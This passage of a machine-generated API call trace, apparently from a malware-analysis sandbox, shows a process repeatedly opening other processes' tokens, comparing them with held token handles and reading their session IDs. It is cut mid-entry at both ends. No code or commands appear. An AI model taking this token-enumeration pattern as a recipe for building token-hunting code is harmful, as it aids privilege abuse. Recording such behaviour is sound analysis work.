returned 0x0 [0196.590] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x17c, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.590] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x180, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.590] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x184, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.590] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x188, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.590] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x18c, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.590] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x190, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.590] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x194, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.590] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x198, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.591] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10fa04, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa04, ReturnLength=0x10fa58) returned 1 [0196.591] GetTokenInformation (in: TokenHandle=0x198, TokenInformationClass=0xc, TokenInformation=0x10fa00, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa00, ReturnLength=0x10fa58) returned 1 [0196.591] CloseHandle (hObject=0x16c) returned 1 [0196.591] CloseHandle (hObject=0x168) returned 1 [0196.591] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x634) returned 0x168 [0196.591] OpenProcessToken (in: ProcessHandle=0x168, DesiredAccess=0xa, TokenHandle=0x10fa70 | out: TokenHandle=0x10fa70*=0x16c) returned 1 [0196.591] GetCurrentProcess () returned 0xffffffffffffffff [0196.591] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x170, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.591] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x174, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.591] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x178, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.591] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x17c, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.591] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x180, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.591] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x184, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.591] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x188, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.591] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x18c, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.591] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x190, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.591] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x194, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.591] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x198, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.591] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10fa04, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa04, ReturnLength=0x10fa58) returned 1 [0196.591] GetTokenInformation (in: TokenHandle=0x198, TokenInformationClass=0xc, TokenInformation=0x10fa00, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa00, ReturnLength=0x10fa58) returned 1 [0196.592] CloseHandle (hObject=0x16c) returned 1 [0196.592] CloseHandle (hObject=0x168) returned 1 [0196.592] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7cc) returned 0x168 [0196.592] OpenProcessToken (in: ProcessHandle=0x168, DesiredAccess=0xa, TokenHandle=0x10fa70 | out: TokenHandle=0x10fa70*=0x16c) returned 1 [0196.592] GetCurrentProcess () returned 0xffffffffffffffff [0196.592] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x170, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.592] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x174, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.592] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x178, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.592] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x17c, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.592] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x180, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.592] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x184, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.592] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x188, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.592] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x18c, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.592] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x190, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.592] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x194, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.592] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x198, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.592] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10fa04, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa04, ReturnLength=0x10fa58) returned 1 [0196.592] GetTokenInformation (in: TokenHandle=0x198, TokenInformationClass=0xc, TokenInformation=0x10fa00, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa00, ReturnLength=0x10fa58) returned 1 [0196.592] CloseHandle (hObject=0x16c) returned 1 [0196.592] CloseHandle (hObject=0x168) returned 1 [0196.593] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7e0) returned 0x168 [0196.593] OpenProcessToken (in: ProcessHandle=0x168, DesiredAccess=0xa, TokenHandle=0x10fa70 | out: TokenHandle=0x10fa70*=0x16c) returned 1 [0196.593] GetCurrentProcess () returned 0xffffffffffffffff [0196.593] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x170, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.593] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x174, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.593] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x178, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.593] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x17c, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.593] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x180, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.593] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x184, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.593] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x188, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.594] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10fa04, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa04, ReturnLength=0x10fa58) returned 1 [0196.594] GetTokenInformation (in: TokenHandle=0x198, TokenInformationClass=0xc, TokenInformation=0x10fa00, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa00, ReturnLength=0x10fa58) returned 1 [0196.594] CloseHandle (hObject=0x16c) returned 1 [0196.594] CloseHandle (hObject=0x168) returned 1 [0196.594] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x308) returned 0x168 [0196.594] OpenProcessToken (in: ProcessHandle=0x168, DesiredAccess=0xa, TokenHandle=0x10fa70 | out: TokenHandle=0x10fa70*=0x16c) returned 1 [0196.594] GetCurrentProcess () returned 0xffffffffffffffff [0196.594] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10fa04, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa04, ReturnLength=0x10fa58) returned 1 [0196.594] GetTokenInformation (in: TokenHandle=0x198, TokenInformationClass=0xc, TokenInformation=0x10fa00, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa00, ReturnLength=0x10fa58) returned 1 [0196.594] CloseHandle (hObject=0x16c) returned 1 [0196.594] CloseHandle (hObject=0x168) returned 1 [0196.595] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x648) returned 0x168 [0196.595] OpenProcessToken (in: ProcessHandle=0x168, DesiredAccess=0xa, TokenHandle=0x10fa70 | out: TokenHandle=0x10fa70*=0x16c) returned 1 [0196.595] GetCurrentProcess () returned 0xffffffffffffffff [0196.595] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10fa04, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa04, ReturnLength=0x10fa58) returned 1 [0196.595] GetTokenInformation (in: TokenHandle=0x198, TokenInformationClass=0xc, TokenInformation=0x10fa00, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa00, ReturnLength=0x10fa58) returned 1 [0196.595] CloseHandle (hObject=0x16c) returned 1 [0196.595] CloseHandle (hObject=0x168) returned 1 [0196.595] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x168 [0196.595] OpenProcessToken (in: ProcessHandle=0x168, DesiredAccess=0xa, TokenHandle=0x10fa70 | out: TokenHandle=0x10fa70*=0x16c) returned 1 [0196.595] GetCurrentProcess () returned 0xffffffffffffffff [0196.595] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10fa04, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa04, ReturnLength=0x10fa58) returned 1 [0196.596] GetTokenInformation (in: TokenHandle=0x198, TokenInformationClass=0xc, TokenInformation=0x10fa00, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa00, ReturnLength=0x10fa58) returned 1 [0196.596] CloseHandle (hObject=0x16c) returned 1 [0196.596] CloseHandle (hObject=0x168) returned 1 [0196.596] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x704) returned 0x168 [0196.596] OpenProcessToken (in: ProcessHandle=0x168, DesiredAccess=0xa, TokenHandle=0x10fa70 | out: TokenHandle=0x10fa70*=0x16c) returned 1 [0196.596] GetCurrentProcess () returned 0xffffffffffffffff [0196.596] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10fa04, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa04, ReturnLength=0x10fa58) returned 1 [0196.596] GetTokenInformation (in: TokenHandle=0x198, TokenInformationClass=0xc, TokenInformation=0x10fa00, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa00, ReturnLength=0x10fa58) returned 1 [0196.596] CloseHandle (hObject=0x16c) returned 1 [0196.596] CloseHandle (hObject=0x168) returned 1 [0196.596] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x694) returned 0x168 [0196.596] OpenProcessToken (in: ProcessHandle=0x168, DesiredAccess=0xa, TokenHandle=0x10fa70 | out: TokenHandle=0x10fa70*=0x16c) returned 1 [0196.596] GetCurrentProcess () returned 0xffffffffffffffff [0196.597] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10fa04, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa04, ReturnLength=0x10fa58) returned 1 [0196.597] GetTokenInformation (in: TokenHandle=0x198, TokenInformationClass=0xc, TokenInformation=0x10fa00, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa00, ReturnLength=0x10fa58) returned 1 [0196.597] CloseHandle (hObject=0x16c) returned 1 [0196.597] CloseHandle (hObject=0x168) returned 1 [0196.597] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x738) returned 0x168 [0196.597] OpenProcessToken (in: ProcessHandle=0x168, DesiredAccess=0xa, TokenHandle=0x10fa70 | out: TokenHandle=0x10fa70*=0x16c) returned 1 [0196.597] GetCurrentProcess () returned 0xffffffffffffffff [0196.597] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10fa04, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa04, ReturnLength=0x10fa58) returned 1 [0196.597] GetTokenInformation (in: TokenHandle=0x198, TokenInformationClass=0xc, TokenInformation=0x10fa00, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa00, ReturnLength=0x10fa58) returned 1 [0196.597] CloseHandle (hObject=0x16c) returned 1 [0196.597] CloseHandle (hObject=0x168) returned 1 [0196.597] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x754) returned 0x168 [0196.597] OpenProcessToken (in: ProcessHandle=0x168, DesiredAccess=0xa, TokenHandle=0x10fa70 | out: TokenHandle=0x10fa70*=0x16c) returned 1 [0196.598] GetCurrentProcess () returned 0xffffffffffffffff [0196.598] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10fa04, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa04, ReturnLength=0x10fa58) returned 1 [0196.598] GetTokenInformation (in: TokenHandle=0x198, TokenInformationClass=0xc, TokenInformation=0x10fa00, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa00, ReturnLength=0x10fa58) returned 1 [0196.599] CloseHandle (hObject=0x16c) returned 1 [0196.599] CloseHandle (hObject=0x168) returned 1 [0196.599] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x4fc) returned 0x168 [0196.599] OpenProcessToken (in: ProcessHandle=0x168, DesiredAccess=0xa, TokenHandle=0x10fa70 | out: TokenHandle=0x10fa70*=0x16c) returned 1 [0196.599] GetCurrentProcess () returned 0xffffffffffffffff [0196.599] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10fa04, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa04, ReturnLength=0x10fa58) returned 1 [0196.599] GetTokenInformation (in: TokenHandle=0x198, TokenInformationClass=0xc, TokenInformation=0x10fa00, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa00, ReturnLength=0x10fa58) returned 1 [0196.599] CloseHandle (hObject=0x16c) returned 1 [0196.599] CloseHandle (hObject=0x168) returned 1 [0196.599] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x440) returned 0x168 [0196.599] OpenProcessToken (in: ProcessHandle=0x168, DesiredAccess=0xa, TokenHandle=0x10fa70 | out: TokenHandle=0x10fa70*=0x16c) returned 1 [0196.599] GetCurrentProcess () returned 0xffffffffffffffff [0196.600] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10fa04, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa04, ReturnLength=0x10fa58) returned 1 [0196.600] GetTokenInformation (in: TokenHandle=0x198, TokenInformationClass=0xc, TokenInformation=0x10fa00, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa00, ReturnLength=0x10fa58) returned 1 [0196.600] CloseHandle (hObject=0x16c) returned 1 [0196.600] CloseHandle (hObject=0x168) returned 1 [0196.600] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x60c) returned 0x168 [0196.600] OpenProcessToken (in: ProcessHandle=0x168, DesiredAccess=0xa, TokenHandle=0x10fa70 | out: TokenHandle=0x10fa70*=0x16c) returned 1 [0196.600] GetCurrentProcess () returned 0xffffffffffffffff [0196.600] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10fa04, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa04, ReturnLength=0x10fa58) returned 1 [0196.600] GetTokenInformation (in: TokenHandle=0x198, TokenInformationClass=0xc, TokenInformation=0x10fa00, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa00, ReturnLength=0x10fa58) returned 1 [0196.600] CloseHandle (hObject=0x16c) returned 1 [0196.600] CloseHandle (hObject=0x168) returned 1 [0196.600] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x364) returned 0x168 [0196.601] OpenProcessToken (in: ProcessHandle=0x168, DesiredAccess=0xa, TokenHandle=0x10fa70 | out: TokenHandle=0x10fa70*=0x16c) returned 1 [0196.601] GetCurrentProcess () returned 0xffffffffffffffff [0196.601] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10fa04, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa04, ReturnLength=0x10fa58) returned 1 [0196.601] GetTokenInformation (in: TokenHandle=0x198, TokenInformationClass=0xc, TokenInformation=0x10fa00, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa00, ReturnLength=0x10fa58) returned 1 [0196.601] CloseHandle (hObject=0x16c) returned 1 [0196.601] CloseHandle (hObject=0x168) returned 1 [0196.601] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x788) returned 0x168 [0196.601] OpenProcessToken (in: ProcessHandle=0x168, DesiredAccess=0xa, TokenHandle=0x10fa70 | out: TokenHandle=0x10fa70*=0x16c) returned 1 [0196.601] GetCurrentProcess () returned 0xffffffffffffffff [0196.601] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10fa04, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa04, ReturnLength=0x10fa58) returned 1 [0196.601] GetTokenInformation (in: TokenHandle=0x198, TokenInformationClass=0xc, TokenInformation=0x10fa00, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa00, ReturnLength=0x10fa58) returned 1 [0196.601] CloseHandle (hObject=0x16c) returned 1 [0196.602] CloseHandle (hObject=0x168) returned 1 [0196.602] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x600) returned 0x168 [0196.602] OpenProcessToken (in: ProcessHandle=0x168, DesiredAccess=0xa, TokenHandle=0x10fa70 | out: TokenHandle=0x10fa70*=0x16c) returned 1 [0196.602] GetCurrentProcess () returned 0xffffffffffffffff [0196.602] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10fa04, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa04, ReturnLength=0x10fa58) returned 1 [0196.602] GetTokenInformation (in: TokenHandle=0x198, TokenInformationClass=0xc, TokenInformation=0x10fa00, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa00, ReturnLength=0x10fa58) returned 1 [0196.602] CloseHandle (hObject=0x16c) returned 1 [0196.602] CloseHandle (hObject=0x168) returned 1 [0196.602] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x410) returned 0x168 [0196.602] OpenProcessToken (in: ProcessHandle=0x168, DesiredAccess=0xa, TokenHandle=0x10fa70 | out: TokenHandle=0x10fa70*=0x16c) returned 1 [0196.602] GetCurrentProcess () returned 0xffffffffffffffff [0196.603] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10fa04, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa04, ReturnLength=0x10fa58) returned 1 [0196.603] GetTokenInformation (in: TokenHandle=0x198, TokenInformationClass=0xc, TokenInformation=0x10fa00, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa00, ReturnLength=0x10fa58) returned 1 [0196.603] CloseHandle (hObject=0x16c) returned 1 [0196.603] CloseHandle (hObject=0x168) returned 1 [0196.603] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x518) returned 0x168 [0196.603] OpenProcessToken (in: ProcessHandle=0x168, DesiredAccess=0xa, TokenHandle=0x10fa70 | out: TokenHandle=0x10fa70*=0x16c) returned 1 [0196.603] GetCurrentProcess () returned 0xffffffffffffffff [0196.603] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10fa04, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa04, ReturnLength=0x10fa58) returned 1 [0196.603] GetTokenInformation (in: TokenHandle=0x198, TokenInformationClass=0xc, TokenInformation=0x10fa00, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa00, ReturnLength=0x10fa58) returned 1 [0196.603] CloseHandle (hObject=0x16c) returned 1 [0196.603] CloseHandle (hObject=0x168) returned 1 [0196.603] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x4e4) returned 0x168 [0196.603] OpenProcessToken (in: ProcessHandle=0x168, DesiredAccess=0xa, TokenHandle=0x10fa70 | out: TokenHandle=0x10fa70*=0x16c) returned 1 [0196.603] GetCurrentProcess () returned 0xffffffffffffffff [0196.604] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10fa04, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa04, ReturnLength=0x10fa58) returned 1 [0196.604] GetTokenInformation (in: TokenHandle=0x198, TokenInformationClass=0xc, TokenInformation=0x10fa00, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa00, ReturnLength=0x10fa58) returned 1 [0196.604] CloseHandle (hObject=0x16c) returned 1 [0196.604] CloseHandle (hObject=0x168) returned 1 [0196.604] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x53c) returned 0x168 [0196.604] OpenProcessToken (in: ProcessHandle=0x168, DesiredAccess=0xa, TokenHandle=0x10fa70 | out: TokenHandle=0x10fa70*=0x16c) returned 1 [0196.604] GetCurrentProcess () returned 0xffffffffffffffff [0196.604] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10fa04, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa04, ReturnLength=0x10fa58) returned 1 [0196.604] GetTokenInformation (in: TokenHandle=0x198, TokenInformationClass=0xc, TokenInformation=0x10fa00, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa00, ReturnLength=0x10fa58) returned 1 [0196.604] CloseHandle (hObject=0x16c) returned 1 [0196.604] CloseHandle (hObject=0x168) returned 1 [0196.604] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x570) returned 0x168 [0196.605] OpenProcessToken (in: ProcessHandle=0x168, DesiredAccess=0xa, TokenHandle=0x10fa70 | out: TokenHandle=0x10fa70*=0x16c) returned 1 [0196.605] GetCurrentProcess () returned 0xffffffffffffffff [0196.605] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10fa04, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa04, ReturnLength=0x10fa58) returned 1 [0196.605] GetTokenInformation (in: TokenHandle=0x198, TokenInformationClass=0xc, TokenInformation=0x10fa00, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa00, ReturnLength=0x10fa58) returned 1 [0196.605] CloseHandle (hObject=0x16c) returned 1 [0196.605] CloseHandle (hObject=0x168) returned 1 [0196.605] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x418) returned 0x168 [0196.605] OpenProcessToken (in: ProcessHandle=0x168, DesiredAccess=0xa, TokenHandle=0x10fa70 | out: TokenHandle=0x10fa70*=0x16c) returned 1 [0196.605] GetCurrentProcess () returned 0xffffffffffffffff [0196.605] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10fa04, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa04, ReturnLength=0x10fa58) returned 1 [0196.605] GetTokenInformation (in: TokenHandle=0x198, TokenInformationClass=0xc, TokenInformation=0x10fa00, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa00, ReturnLength=0x10fa58) returned 1 [0196.606] CloseHandle (hObject=0x16c) returned 1 [0196.606] CloseHandle (hObject=0x168) returned 1 [0196.606] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x810) returned 0x168 [0196.606] OpenProcessToken (in: ProcessHandle=0x168, DesiredAccess=0xa, TokenHandle=0x10fa70 | out: TokenHandle=0x10fa70*=0x16c) returned 1 [0196.606] GetCurrentProcess () returned 0xffffffffffffffff [0196.606] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10fa04, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa04, ReturnLength=0x10fa58) returned 1 [0196.606] GetTokenInformation (in: TokenHandle=0x198, TokenInformationClass=0xc, TokenInformation=0x10fa00, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa00, ReturnLength=0x10fa58) returned 1 [0196.606] CloseHandle (hObject=0x16c) returned 1 [0196.606] CloseHandle (hObject=0x168) returned 1 [0196.606] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x820) returned 0x168 [0196.606] OpenProcessToken (in: ProcessHandle=0x168, DesiredAccess=0xa, TokenHandle=0x10fa70 | out: TokenHandle=0x10fa70*=0x16c) returned 1 [0196.606] GetCurrentProcess () returned 0xffffffffffffffff [0196.607] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10fa04, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa04, ReturnLength=0x10fa58) returned 1 [0196.607] GetTokenInformation (in: TokenHandle=0x198, TokenInformationClass=0xc, TokenInformation=0x10fa00, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa00, ReturnLength=0x10fa58) returned 1 [0196.607] CloseHandle (hObject=0x16c) returned 1 [0196.607] CloseHandle (hObject=0x168) returned 1 [0196.607] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x830) returned 0x168 [0196.607] OpenProcessToken (in: ProcessHandle=0x168, DesiredAccess=0xa, TokenHandle=0x10fa70 | out: TokenHandle=0x10fa70*=0x16c) returned 1 [0196.607] GetCurrentProcess () returned 0xffffffffffffffff [0196.607] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10fa04, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa04, ReturnLength=0x10fa58) returned 1 [0196.607] GetTokenInformation (in: TokenHandle=0x198, TokenInformationClass=0xc, TokenInformation=0x10fa00, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa00, ReturnLength=0x10fa58) returned 1 [0196.607] CloseHandle (hObject=0x16c) returned 1 [0196.607] CloseHandle (hObject=0x168) returned 1 [0196.607] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x840) returned 0x168 [0196.607] OpenProcessToken (in: ProcessHandle=0x168, DesiredAccess=0xa, TokenHandle=0x10fa70 | out: TokenHandle=0x10fa70*=0x16c) returned 1 [0196.607] GetCurrentProcess () returned 0xffffffffffffffff [0196.608] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10fa04, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa04, ReturnLength=0x10fa58) returned 1 [0196.608] GetTokenInformation (in: TokenHandle=0x198, TokenInformationClass=0xc, TokenInformation=0x10fa00, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: 